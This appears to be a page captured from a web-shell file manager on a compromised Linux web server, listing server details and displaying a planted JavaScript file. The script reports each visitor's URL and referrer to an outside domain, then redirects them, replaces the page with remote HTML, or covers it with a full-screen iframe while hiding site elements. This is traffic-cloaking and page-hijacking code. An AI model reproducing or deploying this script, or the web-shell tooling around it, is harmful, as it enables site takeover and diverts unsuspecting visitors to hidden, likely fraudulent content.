HEX
Server: Apache/2.4.57 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System: Linux vmi267337.contaboserver.net 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
User: ohirex (1008)
PHP: 8.2.8
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec
Upload Files
File: /home/ohirex/web/ohirex.com/public_html/join/js/process.js
(function () {
    var domain = '{DOMAIN}';
    var xhr = new XMLHttpRequest();
    xhr.withCredentials = true;

    var delimiter = '?';
    var reason = '{REASON}';
    var url = 'https://' + domain + '/js/jsprocessing.php';
    if (reason != '') { url += delimiter + reason; delimiter = '&' };
    url += delimiter + "uri=" + escape(window.location.href);
    delimiter = '&';
    var referrer = escape(document.referrer);
    if (referrer !== '') {
        url += delimiter+"referrer=" + referrer;
    }
    if (window.location.search !== '') {
        url += delimiter + window.location.search.substring(1);
    }

    xhr.open("GET", url, true);
    xhr.onload = function () {
        if (xhr.status !== 200) {
            console.log("An error occured: " + xhr.status);
            return;
        }

        var action = xhr.getResponseHeader("YWBAction");
        switch (action) {
            case "none":
                console.log('You are not allowed to go futher!');
                return;
                break;
            case "redirect":
                var loc = xhr.getResponseHeader("YWBLocation");
                //console.log(loc);
                document.open();
                document.write('<html><head>');
                document.write('<meta name="referrer" content="never" />');
                document.write('<meta http-equiv="refresh" content="0; url=' + loc + '" />');
                document.write('</head></html>');
                document.close();
                break;
            case "replace":
                document.open();
                var respText = '';
                if (!xhr.responseText.includes('<base'))
                    respText = xhr.responseText.replace('<head>', '<head><base href="https://' + domain + '"/>');
                else
                    respText = xhr.responseText;
                document.write(respText);
                document.close();
                break;
            case "iframe":
                var respText = '';
                if (!xhr.responseText.includes('<base'))
                    respText = xhr.responseText.replace('<head>', '<head><base href="https://' + domain + '"/>');
                else
                    respText = xhr.responseText;
                showIframe(respText);
                break;
        }
    };
    xhr.send();
})();

function showIframe(html) {
    function hideElementDelayed(selector) {
        let interval = setInterval(function () {
            let element = document.querySelector(selector);
            if (element) {
                element.innerHTML = '';
                clearInterval(interval);
            }
        }, 820);
    }

    function appendElement(element) {
        document.body.innerHTML = '';
        document.body.style.margin = '0';
        document.body.style.padding = '0';
        document.body.style.border = '0';
        document.body.style.height = '100%';
        document.body.style.background = 'rgba(0,0,0,0)';
        document.querySelector('html').style.background = 'rgba(0,0,0,0)';
        document.body.appendChild(element);
        hideElementDelayed('#gtranslate_wrapper .switcher');
        hideElementDelayed('.ak-master-sales-pop');
        hideElementDelayed('.sticky');
    }

    let container = document.createElement('div');
    let iframe = document.createElement('iframe');
    let base = document.createElement('base');
    iframe.setAttribute('srcdoc', html);
    iframe.style.border = '0';
    iframe.style.margin = '0';
    iframe.style.padding = '0 auto';
    iframe.style.width = '100%';
    iframe.style.height = '100vh';
    iframe.style.overflow = 'hidden';

    container.style.border = '0';
    container.style.padding = '0';
    container.style.margin = '0 auto';
    container.style.width = '100%';
    container.style.height = '100vh';
    container.appendChild(iframe);

    if (document.body) {
        appendElement(container);
    } else {
        document.addEventListener('DOMContentLoaded', function () {
            appendElement(container);
        });
    }
}